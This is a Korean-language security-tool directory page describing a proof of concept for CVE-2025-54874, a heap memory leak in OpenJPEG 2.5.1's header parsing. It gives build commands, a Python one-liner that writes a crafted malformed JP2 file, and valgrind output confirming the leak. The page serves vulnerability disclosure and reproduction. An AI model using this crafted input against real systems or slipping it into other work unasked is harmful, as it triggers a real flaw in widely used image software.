Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-54874-poc — OpenJPEG 2.5.1에서 제작된 JP2 파일을 통해 메모리 누수를 입증하는 개념 증명으로, opj_read_header 실패와 힙 누수를 유발하며 valgrind로 검증합니다. | Kitploit
도구/GitHubGitHub/cyhe50/cve-2025-54874-poc
Memory ForensicsVulnerability AnalysisExploitationFuzzingBinary Analysis
GitHubcyhe50/cve-2025-54874-poc

cve-2025-54874-poc

OpenJPEG 2.5.1에서 제작된 JP2 파일을 통해 메모리 누수를 입증하는 개념 증명으로, opj_read_header 실패와 힙 누수를 유발하며 valgrind로 검증합니다.

저장소 보기
10개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

참조

https://github.com/uclouvain/openjpeg/pull/1573

https://www.cvedetails.com/cve/CVE-2025-54874/

https://securitylab.github.com/advisories/GHSL-2025-057_OpenCV/

테스트 환경

openjpeg-2.5.1

Linux 6.10.14-linuxkit x86_64 GNU/Linux

설명

함수 호출 체인은 다음과 같습니다: opj_read_header → opj_jp2_read_header → opj_j2k_read_header → opj_j2k_setup_header_reading → opj_j2k_read_header_procedure → opj_stream_read_data

데이터가 너무 작으면 opj_stream_read_data가 오류를 반환하여 opj_j2k_read_header가 opj_jp2_read_header로 오류를 반환하게 됩니다.

그러나 opj_jp2_read_header에서는 힙 메모리에 값을 설정하기 전에 opj_j2k_read_header가 오류를 반환하는지 확인하지 않아 메모리 누수가 발생합니다.

POC 프로세스

  1. opj_image_t, opj_codec_t 및 opj_stream_t 초기화 (opj_read_header에 필요)
    1. 초기화 참조: openjpeg2.5.1/tests/test_decode_area.c:create_codec_and_stream
  2. opj_read_header() 호출
  3. 정리

이 POC 실행 방법

git clone [email protected]:cyhe50/cve-2025-54874-poc.git

cd cve-2025-54874-poc

바이너리 실행

./poc in/test.jp2: Expect Error: opj_read_header failed 수신

valgrind 실행

valgrind --track-origins=yes --leak-check=full ./poc in/test.jp2

출력

root@kitploit:~
==1280== Memcheck, a memory error detector
==1280== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1280== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info
==1280== Command: ./poc in/test.jp2
==1280==
Expect Error: opj_read_header failed
==1280==
==1280== HEAP SUMMARY:
==1280==     in use at exit: 8 bytes in 1 blocks
==1280==   total heap usage: 28 allocs, 27 frees, 1,066,008 bytes allocated
==1280==
==1280== 8 bytes in 1 blocks are definitely lost in loss record 1 of 1
==1280==    at 0x484DA83: calloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==1280==    by 0x10EAD6: opj_calloc (opj_malloc.c:204)
==1280==    by 0x12D8EE: opj_jp2_read_colr (jp2.c:1573)
==1280==    by 0x13030F: opj_jp2_read_jp2h (jp2.c:2727)
==1280==    by 0x12F6AA: opj_jp2_read_header_procedure (jp2.c:2364)
==1280==    by 0x12F967: opj_jp2_exec (jp2.c:2440)
==1280==    by 0x1307CD: opj_jp2_read_header (jp2.c:2855)
==1280==    by 0x10D9DA: opj_read_header (openjpeg.c:475)
==1280==    by 0x10B90D: main (poc.c:62)
==1280==
==1280== LEAK SUMMARY:
==1280==    definitely lost: 8 bytes in 1 blocks
==1280==    indirectly lost: 0 bytes in 0 blocks
==1280==      possibly lost: 0 bytes in 0 blocks
==1280==    still reachable: 0 bytes in 0 blocks
==1280==         suppressed: 0 bytes in 0 blocks
==1280==
==1280== For lists of detected and suppressed errors, rerun with: -s
==1280== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

초기 프로세스

openjpeg-2.5.1

  1. 소스 코드 다운로드

  2. 컴파일

    root@kitploit:~
    cd openjpeg-2.5.1
    mkdir build && cd build
    cmake -DCMAKE_BUILD_TYPE=Debug ..
    make
    cd ../..
    
  3. POC 빌드

  4. POC 컴파일

    root@kitploit:~
    gcc -g -I./openjpeg-2.5.1/src/lib/openjp2 -o poc poc.c ./openjpeg-2.5.1/build/bin/libopenjp2.a -lm
    
    
  5. 취약한 jp2 생성

    root@kitploit:~
    python3 -c "import sys; sys.stdout.buffer.write(bytes([
        0x00,0x00,0x00,0x0c,0x6a,0x50,0x20,0x20,0x0d,0x0a,0x87,0x0a,
        0x00,0x00,0x00,0x14,0x66,0x74,0x79,0x70,0x6a,0x70,0x30,0x20,
        0xf9,0xff,0xff,0xff,0x6a,0x70,0x33,0x20,0x00,0x00,0x00,0x31,
        0x6a,0x70,0x32,0x68,0x00,0x00,0x00,0x16,0x69,0x68,0x64,0x72,
        0x00,0x80,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x03,0x07,0x07,
        0x00,0x00,0x00,0x00,0x00,0x13,0x63,0x6f,0x6c,0x72,0x02,0xff,
        0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
        0x00,0x00,0x00,0x20,0x6a,0x70,0x32,0x63,0xff,0x4f
    ]))" > in/test.jp2
    
    
  6. valgrind 실행

    root@kitploit:~
     valgrind --track-origins=yes   --leak-check=full     ./poc in/test.jp2
    
도구 다운로드